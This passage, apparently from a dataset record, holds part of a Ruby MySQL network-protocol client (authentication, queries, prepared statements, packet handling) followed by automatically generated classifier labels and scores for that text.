init_packet.thread_id\n @client_flags = CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_TRANSACTIONS | CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION\n @client_flags |= CLIENT_CONNECT_WITH_DB if db\n @client_flags |= flag\n @charset = charset\n unless @charset\n @charset = Charset.by_number(init_packet.server_charset)\n @charset.encoding # raise error if unsupported charset\n end\n netpw = encrypt_password passwd, init_packet.scramble_buff\n write AuthenticationPacket.serialize(@client_flags, 1024**3, @charset.number, user, netpw, db)\n raise ProtocolError, 'The old style password is not supported' if read.to_s == \"\\xfe\"\n set_state :READY\n end\n\n # Quit command\n def quit_command\n synchronize do\n reset\n write [COM_QUIT].pack(\"C\")\n close\n end\n end\n\n # Query command\n # === Argument\n # query :: [String] query string\n # === Return\n # [Integer / nil] number of fields of results. nil if no results.\n def query_command(query)\n check_state :READY\n begin\n reset\n write [COM_QUERY, @charset.convert(query)].pack(\"Ca*\")\n get_result\n rescue\n set_state :READY\n raise\n end\n end\n\n # get result of query.\n # === Return\n # [integer / nil] number of fields of results. nil if no results.\n def get_result\n begin\n res_packet = ResultPacket.parse read\n if res_packet.field_count.to_i > 0 # result data exists\n set_state :FIELD\n return res_packet.field_count\n end\n if res_packet.field_count.nil? # LOAD DATA LOCAL INFILE\n if @client_flags.to_i & CLIENT_LOCAL_FILES == 0\n raise ProtocolError, 'Load data local infile forbidden'\n end\n filename = res_packet.message\n File.open(filename){|f| write f}\n write nil # EOF mark\n read\n end\n @affected_rows, @insert_id, @server_status, @warning_count, @message =\n res_packet.affected_rows, res_packet.insert_id, res_packet.server_status, res_packet.warning_count, res_packet.message\n set_state :READY\n return nil\n rescue\n set_state :READY\n raise\n end\n end\n\n # Retrieve n fields\n # === Argument\n # n :: [Integer] number of fields\n # === Return\n # [Array of RbMysql::Field] field list\n def retr_fields(n)\n check_state :FIELD\n begin\n fields = n.times.map{Field.new FieldPacket.parse(read)}\n read_eof_packet\n set_state :RESULT\n fields\n rescue\n set_state :READY\n raise\n end\n end\n\n # Retrieve all records for simple query\n # === Argument\n # fields :: [Array] number of fields\n # === Return\n # [Array of Array of String] all records\n def retr_all_records(fields)\n check_state :RESULT\n enc = charset.encoding\n begin\n all_recs = []\n until (pkt = read).eof?\n all_recs.push RawRecord.new(pkt, fields, enc)\n end\n pkt.read(3)\n @server_status = pkt.utiny\n all_recs\n ensure\n set_state :READY\n end\n end\n\n # Field list command\n # === Argument\n # table :: [String] table name.\n # field :: [String / nil] field name that may contain wild card.\n # === Return\n # [Array of Field] field list\n def field_list_command(table, field)\n synchronize do\n reset\n write [COM_FIELD_LIST, table, 0, field].pack(\"Ca*Ca*\")\n fields = []\n until (data = read).eof?\n fields.push Field.new(FieldPacket.parse(data))\n end\n return fields\n end\n end\n\n # Process info command\n # === Return\n # [Array of Field] field list\n def process_info_command\n check_state :READY\n begin\n reset\n write [COM_PROCESS_INFO].pack(\"C\")\n field_count = read.lcb\n fields = field_count.times.map{Field.new FieldPacket.parse(read)}\n read_eof_packet\n set_state :RESULT\n return fields\n rescue\n set_state :READY\n raise\n end\n end\n\n # Ping command\n def ping_command\n simple_command [COM_PING].pack(\"C\")\n end\n\n # Kill command\n def kill_command(pid)\n simple_command [COM_PROCESS_KILL, pid].pack(\"CV\")\n end\n\n # Refresh command\n def refresh_command(op)\n simple_command [COM_REFRESH, op].pack(\"CC\")\n end\n\n # Set option command\n def set_option_command(opt)\n simple_command [COM_SET_OPTION, opt].pack(\"Cv\")\n end\n\n # Shutdown command\n def shutdown_command(level)\n simple_command [COM_SHUTDOWN, level].pack(\"CC\")\n end\n\n # Statistics command\n def statistics_command\n simple_command [COM_STATISTICS].pack(\"C\")\n end\n\n # Stmt prepare command\n # === Argument\n # stmt :: [String] prepared statement\n # === Return\n # [Integer] statement id\n # [Integer] number of parameters\n # [Array of Field] field list\n def stmt_prepare_command(stmt)\n synchronize do\n reset\n write [COM_STMT_PREPARE, charset.convert(stmt)].pack(\"Ca*\")\n res_packet = PrepareResultPacket.parse read\n if res_packet.param_count > 0\n res_packet.param_count.times{read} # skip parameter packet\n read_eof_packet\n end\n if res_packet.field_count > 0\n fields = res_packet.field_count.times.map{Field.new FieldPacket.parse(read)}\n read_eof_packet\n else\n fields = []\n end\n return res_packet.statement_id, res_packet.param_count, fields\n end\n end\n\n # Stmt execute command\n # === Argument\n # stmt_id :: [Integer] statement id\n # values :: [Array] parameters\n # === Return\n # [Integer] number of fields\n def stmt_execute_command(stmt_id, values)\n check_state :READY\n begin\n reset\n write ExecutePacket.serialize(stmt_id, RbMysql::Stmt::CURSOR_TYPE_NO_CURSOR, values)\n get_result\n rescue\n set_state :READY\n raise\n end\n end\n\n # Retrieve all records for prepared statement\n # === Argument\n # fields :: [Array of RbMysql::Fields] field list\n # charset :: [RbMysql::Charset]\n # === Return\n # [Array of Array of Object] all records\n def stmt_retr_all_records(fields, charset)\n check_state :RESULT\n enc = charset.encoding\n begin\n all_recs = []\n until (pkt = read).eof?\n all_recs.push StmtRawRecord.new(pkt, fields, enc)\n end\n all_recs\n ensure\n set_state :READY\n end\n end\n\n # Stmt close command\n # === Argument\n # stmt_id :: [Integer] statement id\n def stmt_close_command(stmt_id)\n synchronize do\n reset\n write [COM_STMT_CLOSE, stmt_id].pack(\"CV\")\n end\n end\n\n def gc_stmt(stmt_id)\n @gc_stmt_queue.push stmt_id\n end\n\n private\n\n def check_state(st)\n raise 'command out of sync' unless @state == st\n end\n\n def set_state(st)\n @state = st\n if st == :READY\n gc_disabled = GC.disable\n begin\n while st = @gc_stmt_queue.shift\n reset\n write [COM_STMT_CLOSE, st].pack(\"CV\")\n end\n ensure\n GC.enable unless gc_disabled\n end\n end\n end\n\n def synchronize\n begin\n check_state :READY\n return yield\n ensure\n set_state :READY\n end\n end\n\n # Reset sequence number\n def reset\n @seq = 0 # packet counter. reset by each command\n end\n\n # Read one packet data\n # === Return\n # [Packet] packet data\n # === Exception\n # [ProtocolError] invalid packet sequence number\n def read\n data = ''\n len = nil\n begin\n Timeout.timeout @read_timeout do\n header = @sock.read(4)\n raise EOFError unless header && header.length == 4\n len1, len2, seq = header.unpack(\"CvC\")\n len = (len2 << 8) + len1\n raise ProtocolError, \"invalid packet: sequence number mismatch(#{seq} != #{@seq}(expected))\" if @seq != seq\n @seq = (@seq + 1) % 256\n ret = @sock.read(len)\n raise EOFError unless ret && ret.length == len\n data.concat ret\n end\n rescue EOFError\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Timeout::Error\n raise ClientError, \"read timeout\"\n end while len == MAX_PACKET_LENGTH\n\n @sqlstate = \"00000\"\n\n # Error packet\n if data[0] == ?\\xff\n f, errno, marker, @sqlstate, message = data.unpack(\"Cvaa5a*\")\n unless marker == \"#\"\n f, errno, message = data.unpack(\"Cva*\") # Version 4.0 Error\n @sqlstate = \"\"\n end\n message.force_encoding(@charset.encoding) if @charset\n if RbMysql::ServerError::ERROR_MAP.key? errno\n raise RbMysql::ServerError::ERROR_MAP[errno].new(message, @sqlstate)\n end\n raise RbMysql::ServerError.new(message, @sqlstate)\n end\n Packet.new(data)\n end\n\n # Write one packet data\n # === Argument\n # data :: [String / IO] packet data. If data is nil, write empty packet.\n def write(data)\n begin\n @sock.sync = false\n if data.nil?\n Timeout.timeout @write_timeout do\n @sock.write [0, 0, @seq].pack(\"CvC\")\n end\n @seq = (@seq + 1) % 256\n else\n data = StringIO.new data if data.is_a? String\n while d = data.read(MAX_PACKET_LENGTH)\n Timeout.timeout @write_timeout do\n @sock.write [d.length%256, d.length/256, @seq].pack(\"CvC\")\n @sock.write d\n end\n @seq = (@seq + 1) % 256\n end\n end\n @sock.sync = true\n Timeout.timeout @write_timeout do\n @sock.flush\n end\n rescue Errno::EPIPE\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Timeout::Error\n raise ClientError, \"write timeout\"\n end\n end\n\n # Read EOF packet\n # === Exception\n # [ProtocolError] packet is not EOF\n def read_eof_packet\n raise ProtocolError, \"packet is not EOF\" unless read.eof?\n end\n\n # Send simple command\n # === Argument\n # packet :: [String] packet data\n # === Return\n # [String] received data\n def simple_command(packet)\n synchronize do\n reset\n write packet\n read.to_s\n end\n end\n\n # Encrypt password\n # === Argument\n # plain :: [String] plain password.\n # scramble :: [String] scramble code from initial packet.\n # === Return\n # [String] encrypted password\n def encrypt_password(plain, scramble)\n return \"\" if plain.nil? or plain.empty?\n hash_stage1 = Digest::SHA1.digest plain\n hash_stage2 = Digest::SHA1.digest hash_stage1\n return hash_stage1.unpack(\"C*\").zip(Digest::SHA1.digest(scramble+hash_stage2).unpack(\"C*\")).map{|a,b| a^b}.pack(\"C*\")\n end\n\n # Initial packet\n class InitialPacket\n def self.parse(pkt)\n protocol_version = pkt.utiny\n server_version = pkt.string\n thread_id = pkt.ulong\n scramble_buff = pkt.read(8)\n f0 = pkt.utiny\n server_capabilities = pkt.ushort\n server_charset = pkt.utiny\n server_status = pkt.ushort\n _f1 = pkt.read(13)\n rest_scramble_buff = pkt.string\n raise ProtocolError, \"unsupported version: #{protocol_version}\" unless protocol_version == VERSION\n raise ProtocolError, \"invalid packet: f0=#{f0}\" unless f0 == 0\n scramble_buff.concat rest_scramble_buff\n self.new protocol_version, server_version, thread_id, server_capabilities, server_charset, server_status, scramble_buff\n end\n\n attr_reader :protocol_version, :server_version, :thread_id, :server_capabilities, :server_charset, :server_status, :scramble_buff\n\n def initialize(*args)\n @protocol_version, @server_version, @thread_id, @server_capabilities, @server_charset, @server_status, @scramble_buff = args\n end\n end\n\n # Result packet\n class ResultPacket\n def self.parse(pkt)\n field_count = pkt.lcb\n if field_count == 0\n affected_rows = pkt.lcb\n insert_id = pkt.lcb\n server_status = pkt.ushort\n warning_count = pkt.ushort\n message = pkt.lcs\n return self.new(field_count, affected_rows, insert_id, server_status, warning_count, message)\n elsif field_count.nil? # LOAD DATA LOCAL INFILE\n return self.new(nil, nil, nil, nil, nil, pkt.to_s)\n else\n return self.new(field_count)\n end\n end\n\n attr_reader :field_count, :affected_rows, :insert_id, :server_status, :warning_count, :message\n\n def initialize(*args)\n @field_count, @affected_rows, @insert_id, @server_status, @warning_count, @message = args\n end\n end\n\n # Field packet\n class FieldPacket\n def self.parse(pkt)\n _first = pkt.lcs\n db = pkt.lcs\n table = pkt.lcs\n org_table = pkt.lcs\n name = pkt.lcs\n org_name = pkt.lcs\n _f0 = pkt.utiny\n charsetnr = pkt.ushort\n length = pkt.ulong\n type = pkt.utiny\n flags = pkt.ushort\n decimals = pkt.utiny\n f1 = pkt.ushort\n\n raise ProtocolError, \"invalid packet: f1=#{f1}\" unless f1 == 0\n default = pkt.lcs\n return self.new(db, table, org_table, name, org_name, charsetnr, length, type, flags, decimals, default)\n end\n\n attr_reader :db, :table, :org_table, :name, :org_name, :charsetnr, :length, :type, :flags, :decimals, :default\n\n def initialize(*args)\n @db, @table, @org_table, @name, @org_name, @charsetnr, @length, @type, @flags, @decimals, @default = args\n end\n end\n\n # Prepare result packet\n class PrepareResultPacket\n def self.parse(pkt)\n raise ProtocolError, \"invalid packet\" unless pkt.utiny == 0\n statement_id = pkt.ulong\n field_count = pkt.ushort\n param_count = pkt.ushort\n f = pkt.utiny\n warning_count = pkt.ushort\n raise ProtocolError, \"invalid packet\" unless f == 0x00\n self.new statement_id, field_count, param_count, warning_count\n end\n\n attr_reader :statement_id, :field_count, :param_count, :warning_count\n\n def initialize(*args)\n @statement_id, @field_count, @param_count, @warning_count = args\n end\n end\n\n # Authentication packet\n class AuthenticationPacket\n def self.serialize(client_flags, max_packet_size, charset_number, username, scrambled_password, databasename)\n [\n client_flags,\n max_packet_size,\n Packet.lcb(charset_number),\n \"\", # always 0x00 * 23\n username,\n Packet.lcs(scrambled_password),\n databasename\n ].pack(\"VVa*a23Z*A*Z*\")\n end\n end\n\n # Execute packet\n class ExecutePacket\n def self.serialize(statement_id, cursor_type, values)\n nbm = null_bitmap values\n netvalues = \"\"\n types = values.map do |v|\n t, n = Protocol.value2net v\n netvalues.concat n if v\n t\n end\n [RbMysql::COM_STMT_EXECUTE, statement_id, cursor_type, 1, nbm, 1, types.pack(\"v*\"), netvalues].pack(\"CVCVa*Ca*a*\")\n end\n\n # make null bitmap\n #\n # If values is [1, nil, 2, 3, nil] then returns \"\\x12\"(0b10010).\n def self.null_bitmap(values)\n bitmap = values.enum_for(:each_slice,8).map do |vals|\n vals.reverse.inject(0){|b, v|(b << 1 | (v ? 0 : 1))}\n end\n return bitmap.pack(\"C*\")\n end\n\n end\n end\n\n class RawRecord\n def initialize(packet, fields, encoding)\n @packet, @fields, @encoding = packet, fields, encoding\n end\n\n def to_a\n @fields.map do |f|\n if s = @packet.lcs\n unless f.type == Field::TYPE_BIT or f.charsetnr == Charset::BINARY_CHARSET_NUMBER\n s = Charset.convert_encoding(s, @encoding)\n end\n end\n s\n end\n end\n end\n\n class StmtRawRecord\n # === Argument\n # pkt :: [Packet]\n # fields :: [Array of Fields]\n # encoding:: [Encoding]\n def initialize(packet, fields, encoding)\n @packet, @fields, @encoding = packet, fields, encoding\n end\n\n # Parse statement result packet\n # === Return\n # [Array of Object] one record\n def parse_record_packet\n @packet.utiny # skip first byte\n null_bit_map = @packet.read((@fields.length+7+2)/8).unpack(\"b*\").first\n rec = @fields.each_with_index.map do |f, i|\n if null_bit_map[i+2] == ?1\n nil\n else\n unsigned = f.flags & Field::UNSIGNED_FLAG != 0\n v = Protocol.net2value(@packet, f.type, unsigned)\n if v.is_a? Numeric or v.is_a? RbMysql::Time\n v\n elsif f.type == Field::TYPE_BIT or f.charsetnr == Charset::BINARY_CHARSET_NUMBER\n Charset.to_binary(v)\n else\n Charset.convert_encoding(v, @encoding)\n end\n end\n end\n rec\n end\n\n alias to_a parse_record_packet\n\n end\nend\n", "text_preview": "# coding: ascii-8bit # Copyright (C) 2008-2012 # mailto: require \"socket\" require \"timeout\" require \"digest/sha1\" require \"stringio\" class RbMysql # MySQL network protocol class Protocol VERSION = 10 MAX_PACKET_LENGTH = 2**24-", "input_sha256": "d2ab088ce9937ad9b9345e7b71f0f21a8053d89b5334a3aecb3d91c7895ea134", "text_sha256": "1edbac37e9b1fbd3573e7373548175d406425c739c9eaca99ef57ebeb49e9d03", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16005, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.207510545334624, "noise_severity": 0.08862518223792835, "missing_content_severity": 0.022298795774396266, "factual_density": 3.536105376455666, "pretraining_utility": 0.6781880722414257, "math_density": 0.6307690973181524, "code_density": 3.896934564630129, "reasoning_density": 0.7000282625645751, "education_level": 3.0143987221012973, "creative_writing_quality": -0.16562752964815244}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.04317478822346971, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9977265480696044, "secondary": 0.6412956945310144, "tertiary": 0.6261484558616495, "structured_records": 0.008726509510163283, "procedural_steps": 0.027238559977946743, "worked_solution": 0.005523776939875866, "contextual_dialogue": 9.916053668527248e-06, "content_quality": 0.5678336530012468, "noise_severity": 0.926145681468393, "missing_content_severity": 0.9814176701880031, "factual_density": 0.613421147046388, "pretraining_utility": 0.5468660143878906, "math_density": 0.4743590855682063, "code_density": 0.9141121371917745, "reasoning_density": 0.41664311452952074, "education_level": 0.4624326204832184, "creative_writing_quality": 0.9994184401365285, "primary_topic": 0.996235257071579, "secondary_topic": 0.9347572735850226}, "probability_margin": {"primary": 0.99660480116966, "secondary": 0.3617886901606184, "tertiary": 0.30409779821234045, "education_level": 0.3190206295671586, "creative_writing_quality": 0.9993152537247518, "primary_topic": 0.9946955595779419, "secondary_topic": 0.9079773771142251}, "raw_probabilities": {"primary": {"Academic Writing": 2.5133052082291996e-05, "Content Listing": 1.5914661015123416e-05, "Creative Writing": 1.1809094118262037e-05, "Customer Support Page": 7.578201813573724e-06, "Q&A Forum": 6.945718107160299e-06, "Discussion Thread": 4.7524839558135135e-06, "Comment Section": 1.1463616374430154e-05, "Missing Content": 2.383950407866806e-05, "Knowledge Article": 0.00010368457593922289, "Legal Notices": 0.00014066421643833365, "News Article": 3.3514825416717387e-06, "Organizational Announcement": 1.0518050820776928e-05, "Nonfiction Writing": 7.624418782595821e-06, "Organizational About Page": 8.93686902157755e-06, "Personal About Page": 7.4223014794104654e-06, "Personal Blog": 5.24887902097728e-06, "Product Page": 6.3304781750050135e-06, "Spam / Ads": 8.184832616755083e-06, "Structured Data": 0.00037469233863857474, "Technical Writing": 0.9978212752333708, "Transcript / Interview": 1.1909775475152213e-05, "Tutorial / How-To Guide": 0.00016139463705391822, "User Reviews": 4.851515368966598e-06, "Other / Unknown": 0.0012164740637108414}, "secondary": {"Academic Writing": 0.0006890522839973757, "Content Listing": 0.0004963161549579902, "Creative Writing": 0.000627333303218015, "Customer Support Page": 0.0003509618226520702, "Q&A Forum": 0.00031732856910745986, "Discussion Thread": 0.00028456504180901114, "Comment Section": 0.0005991721954826441, "Missing Content": 0.000803500595453098, "Knowledge Article": 0.0013528809883264028, "Legal Notices": 0.2944530170982705, "News Article": 0.0005519756594558584, "Organizational Announcement": 0.0006262191154561878, "Nonfiction Writing": 0.0005142803246860684, "Organizational About Page": 0.0005479256908117499, "Personal About Page": 0.00043597606087156015, "Personal Blog": 0.0003187724294370696, "Product Page": 0.000379527260844598, "Spam / Ads": 0.00042568888442776423, "Structured Data": 0.0022830161789888356, "Technical Writing": 0.0359982444334961, "Transcript / Interview": 0.0006563420994445653, "Tutorial / How-To Guide": 0.0007858859452811329, "User Reviews": 0.0002603106046350883, "NONE": 0.6562417072588889}, "tertiary": {"Academic Writing": 0.00046970625219827004, "Content Listing": 0.0003561317236366419, "Creative Writing": 0.00042629626471899065, "Customer Support Page": 0.000255261758419643, "Q&A Forum": 0.00019438296385595102, "Discussion Thread": 0.00019560411486422907, "Comment Section": 0.0004159682433485716, "Missing Content": 0.00047223542549633505, "Knowledge Article": 0.0012627067799415692, "Legal Notices": 0.33762780532174025, "News Article": 0.0003797381743796451, "Organizational Announcement": 0.00038089645227397595, "Nonfiction Writing": 0.0003327474528876964, "Organizational About Page": 0.00042266447987076867, "Personal About Page": 0.00027062601164693574, "Personal Blog": 0.0001685893289995688, "Product Page": 0.000296037807195574, "Spam / Ads": 0.00028447965333318754, "Structured Data": 0.0008281317549861774, "Technical Writing": 0.01212356893750644, "Transcript / Interview": 0.0004150574310908688, "Tutorial / How-To Guide": 0.0005197436665752017, "User Reviews": 0.00017601646695304695, "NONE": 0.6417256035340807}, "structured_records": {"false": 0.9912734904898367, "true": 0.008726509510163283}, "procedural_steps": {"false": 0.9727614400220532, "true": 0.027238559977946743}, "worked_solution": {"false": 0.9944762230601242, "true": 0.005523776939875866}, "contextual_dialogue": {"false": 0.9999900839463315, "true": 9.916053668527248e-06}, "content_quality": {"-2": 0.0033148815807954625, "-1": 0.008655681665497482, "0": 0.1282885274585586, "1": 0.49668582842858444, "2": 0.3630550808665639}, "noise_severity": {"0": 0.9176048608421391, "1": 0.07869192255557214, "2": 0.001941448832606578, "3": 0.0009967090615849898, "4": 0.0007650587080970187}, "missing_content_severity": {"0": 0.9864743924618755, "1": 0.00712300903561207, "2": 0.004395902341351306, "3": 0.0016428025885624397, "4": 0.000363893572598565}, "factual_density": {"0": 0.0021005831376837043, "1": 0.004786381757853918, "2": 0.06203488109826316, "3": 0.3170633835235116, "4": 0.6140147704826877}, "pretraining_utility": {"-2": 0.006188242599914016, "-1": 0.0536689726161657, "0": 0.30688368221447926, "1": 0.5222846750814626, "2": 0.11097442748797844}, "math_density": {"0": 0.6214538189066401, "1": 0.24288949090889714, "2": 0.06720809104475474, "3": 0.020330972239086663, "4": 0.048117626900621456}, "code_density": {"0": 0.00026115195986066225, "1": 0.0004533611677138775, "2": 0.00806871370162462, "3": 0.08452331662403709, "4": 0.9066934565467637}, "reasoning_density": {"0": 0.6737729233113126, "1": 0.11533823205251621, "2": 0.09965284754708524, "3": 0.059559652938455256, "4": 0.05167634415063063}, "education_level": {"none": 0.0007880987251036087, "0": 0.0010318920857126895, "1": 0.002377232140640616, "2": 0.21076903914367107, "3": 0.5520271837360153, "4": 0.23300655416885674}, "creative_writing_quality": {"not_applicable": 0.9995153667804404, "-2": 6.599157191433127e-05, "-1": 9.95496020892044e-05, "0": 0.0002001130556885503, "1": 8.669383675813132e-05, "2": 3.228515310932867e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.749067444726112e-05, "Art & Design": 2.9667847429241494e-05, "Law & Crime": 0.00016914454339646916, "Education & Careers": 2.5488016805262633e-05, "Entertainment & Media": 2.0230431120782307e-05, "Fashion & Beauty": 1.3107556557235923e-05, "Business, Economics & Finance": 3.601559606487952e-05, "Food & Dining": 1.7911762757363362e-05, "Games & Gaming": 5.6812096187444434e-05, "Electronics & Hardware": 0.00017529840965071708, "Health, Healthcare & Wellness": 1.8591842979894028e-05, "History & Geography": 2.3133024286030293e-05, "Home, Pets & Hobbies": 1.9579267207045248e-05, "Industry & Production": 2.3080247597433796e-05, "Language, Literature & Philosophy": 6.762797990484345e-05, "Politics & Government": 1.6887705774763454e-05, "Religion & Spirituality": 2.5540806012535563e-05, "Science, Mathematics & Engineering": 0.0016844952985763848, "Relationships & Community": 1.4251992332936273e-05, "Software Usage & Applications": 0.0006836883454822452, "Programming & Software Engineering": 0.9963800548765183, "Sports & Fitness": 3.141712117904339e-05, "Vehicles & Transportation": 1.60092515192315e-05, "Travel & Tourism": 3.449684684536084e-05, "Other / Uncovered Subject": 0.0003195444431889636, "Unknown / Insufficient Content": 6.04340161784216e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005712882425994751, "Art & Design": 0.0003613558420015714, "Law & Crime": 0.008548840090065688, "Education & Careers": 0.00036479865399316144, "Entertainment & Media": 0.00035006044165508644, "Fashion & Beauty": 0.00018115411687276797, "Business, Economics & Finance": 0.0004985032011397904, "Food & Dining": 0.00016373521160559088, "Games & Gaming": 0.0003473531436249999, "Electronics & Hardware": 0.0006765853089294664, "Health, Healthcare & Wellness": 0.00022472578443464208, "History & Geography": 0.00022524975206478446, "Home, Pets & Hobbies": 0.00019733404937378367, "Industry & Production": 0.00015727771575655588, "Language, Literature & Philosophy": 0.0004883952842143119, "Politics & Government": 0.00022052825520267976, "Religion & Spirituality": 0.00027437359952119117, "Science, Mathematics & Engineering": 0.009996017418957321, "Relationships & Community": 0.00011877080459703416, "Software Usage & Applications": 0.008021094698533108, "Programming & Software Engineering": 0.029289232102142685, "Sports & Fitness": 0.00020639429207306237, "Vehicles & Transportation": 9.183136429439006e-05, "Travel & Tourism": 0.00030758203013731857, "Other / Uncovered Subject": 0.000850909379841616, "NONE": 0.9372666092163678}}, "probabilities": {"primary": {"Academic Writing": 2.5133052082292e-05, "Content Listing": 1.591466101512342e-05, "Creative Writing": 1.180909411826204e-05, "Customer Support Page": 7.5782018135737245e-06, "Q&A Forum": 6.9457181071603e-06, "Discussion Thread": 4.752483955813514e-06, "Comment Section": 1.1463616374430156e-05, "Missing Content": 2.3839504078668065e-05, "Knowledge Article": 0.0001036845759392229, "Legal Notices": 0.00014066421643833368, "News Article": 3.351482541671739e-06, "Organizational Announcement": 1.051805082077693e-05, "Nonfiction Writing": 7.6244187825958216e-06, "Organizational About Page": 8.936869021577552e-06, "Personal About Page": 7.422301479410466e-06, "Personal Blog": 5.248879020977281e-06, "Product Page": 6.330478175005014e-06, "Spam / Ads": 8.184832616755085e-06, "Structured Data": 0.0003746923386385748, "Technical Writing": 0.9978212752333709, "Transcript / Interview": 1.1909775475152214e-05, "Tutorial / How-To Guide": 0.00016139463705391825, "User Reviews": 4.851515368966599e-06, "Other / Unknown": 0.0012164740637108417}, "secondary": {"Academic Writing": 0.0006890522839973757, "Content Listing": 0.0004963161549579902, "Creative Writing": 0.000627333303218015, "Customer Support Page": 0.0003509618226520702, "Q&A Forum": 0.00031732856910745986, "Discussion Thread": 0.00028456504180901114, "Comment Section": 0.0005991721954826441, "Missing Content": 0.000803500595453098, "Knowledge Article": 0.0013528809883264028, "Legal Notices": 0.2944530170982705, "News Article": 0.0005519756594558584, "Organizational Announcement": 0.0006262191154561878, "Nonfiction Writing": 0.0005142803246860684, "Organizational About Page": 0.0005479256908117499, "Personal About Page": 0.00043597606087156015, "Personal Blog": 0.0003187724294370696, "Product Page": 0.000379527260844598, "Spam / Ads": 0.00042568888442776423, "Structured Data": 0.0022830161789888356, "Technical Writing": 0.0359982444334961, "Transcript / Interview": 0.0006563420994445653, "Tutorial / How-To Guide": 0.0007858859452811329, "User Reviews": 0.0002603106046350883, "NONE": 0.6562417072588889}, "tertiary": {"Academic Writing": 0.00046970625219826994, "Content Listing": 0.00035613172363664186, "Creative Writing": 0.00042629626471899054, "Customer Support Page": 0.00025526175841964296, "Q&A Forum": 0.00019438296385595097, "Discussion Thread": 0.00019560411486422902, "Comment Section": 0.0004159682433485715, "Missing Content": 0.00047223542549633494, "Knowledge Article": 0.001262706779941569, "Legal Notices": 0.3376278053217402, "News Article": 0.000379738174379645, "Organizational Announcement": 0.00038089645227397585, "Nonfiction Writing": 0.00033274745288769636, "Organizational About Page": 0.00042266447987076856, "Personal About Page": 0.0002706260116469357, "Personal Blog": 0.00016858932899956877, "Product Page": 0.00029603780719557397, "Spam / Ads": 0.0002844796533331875, "Structured Data": 0.0008281317549861772, "Technical Writing": 0.012123568937506437, "Transcript / Interview": 0.0004150574310908687, "Tutorial / How-To Guide": 0.0005197436665752016, "User Reviews": 0.00017601646695304692, "NONE": 0.6417256035340806}, "structured_records": {"false": 0.9912734904898367, "true": 0.008726509510163283}, "procedural_steps": {"false": 0.9727614400220532, "true": 0.027238559977946743}, "worked_solution": {"false": 0.9944762230601242, "true": 0.005523776939875866}, "contextual_dialogue": {"false": 0.9999900839463315, "true": 9.916053668527248e-06}, "content_quality": {"-2": 0.003314881580795463, "-1": 0.008655681665497484, "0": 0.12828852745855862, "1": 0.4966858284285845, "2": 0.36305508086656396}, "noise_severity": {"0": 0.9176048608421393, "1": 0.07869192255557216, "2": 0.0019414488326065784, "3": 0.00099670906158499, "4": 0.000765058708097019}, "missing_content_severity": {"0": 0.9864743924618756, "1": 0.007123009035612071, "2": 0.004395902341351307, "3": 0.00164280258856244, "4": 0.00036389357259856503}, "factual_density": {"0": 0.0021005831376837043, "1": 0.004786381757853918, "2": 0.06203488109826316, "3": 0.3170633835235116, "4": 0.6140147704826877}, "pretraining_utility": {"-2": 0.006188242599914016, "-1": 0.0536689726161657, "0": 0.30688368221447926, "1": 0.5222846750814626, "2": 0.11097442748797844}, "math_density": {"0": 0.6214538189066401, "1": 0.24288949090889714, "2": 0.06720809104475474, "3": 0.020330972239086663, "4": 0.048117626900621456}, "code_density": {"0": 0.00026115195986066225, "1": 0.0004533611677138775, "2": 0.00806871370162462, "3": 0.08452331662403709, "4": 0.9066934565467637}, "reasoning_density": {"0": 0.6737729233113127, "1": 0.11533823205251623, "2": 0.09965284754708525, "3": 0.05955965293845526, "4": 0.05167634415063064}, "education_level": {"none": 0.0007880987251036087, "0": 0.0010318920857126895, "1": 0.002377232140640616, "2": 0.21076903914367107, "3": 0.5520271837360153, "4": 0.23300655416885674}, "creative_writing_quality": {"not_applicable": 0.9995153667804405, "-2": 6.599157191433128e-05, "-1": 9.954960208920441e-05, "0": 0.00020011305568855032, "1": 8.669383675813134e-05, "2": 3.2285153109328676e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.749067444726112e-05, "Art & Design": 2.9667847429241494e-05, "Law & Crime": 0.00016914454339646916, "Education & Careers": 2.5488016805262633e-05, "Entertainment & Media": 2.0230431120782307e-05, "Fashion & Beauty": 1.3107556557235923e-05, "Business, Economics & Finance": 3.601559606487952e-05, "Food & Dining": 1.7911762757363362e-05, "Games & Gaming": 5.6812096187444434e-05, "Electronics & Hardware": 0.00017529840965071708, "Health, Healthcare & Wellness": 1.8591842979894028e-05, "History & Geography": 2.3133024286030293e-05, "Home, Pets & Hobbies": 1.9579267207045248e-05, "Industry & Production": 2.3080247597433796e-05, "Language, Literature & Philosophy": 6.762797990484345e-05, "Politics & Government": 1.6887705774763454e-05, "Religion & Spirituality": 2.5540806012535563e-05, "Science, Mathematics & Engineering": 0.0016844952985763848, "Relationships & Community": 1.4251992332936273e-05, "Software Usage & Applications": 0.0006836883454822452, "Programming & Software Engineering": 0.9963800548765183, "Sports & Fitness": 3.141712117904339e-05, "Vehicles & Transportation": 1.60092515192315e-05, "Travel & Tourism": 3.449684684536084e-05, "Other / Uncovered Subject": 0.0003195444431889636, "Unknown / Insufficient Content": 6.04340161784216e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005712882425994752, "Art & Design": 0.00036135584200157144, 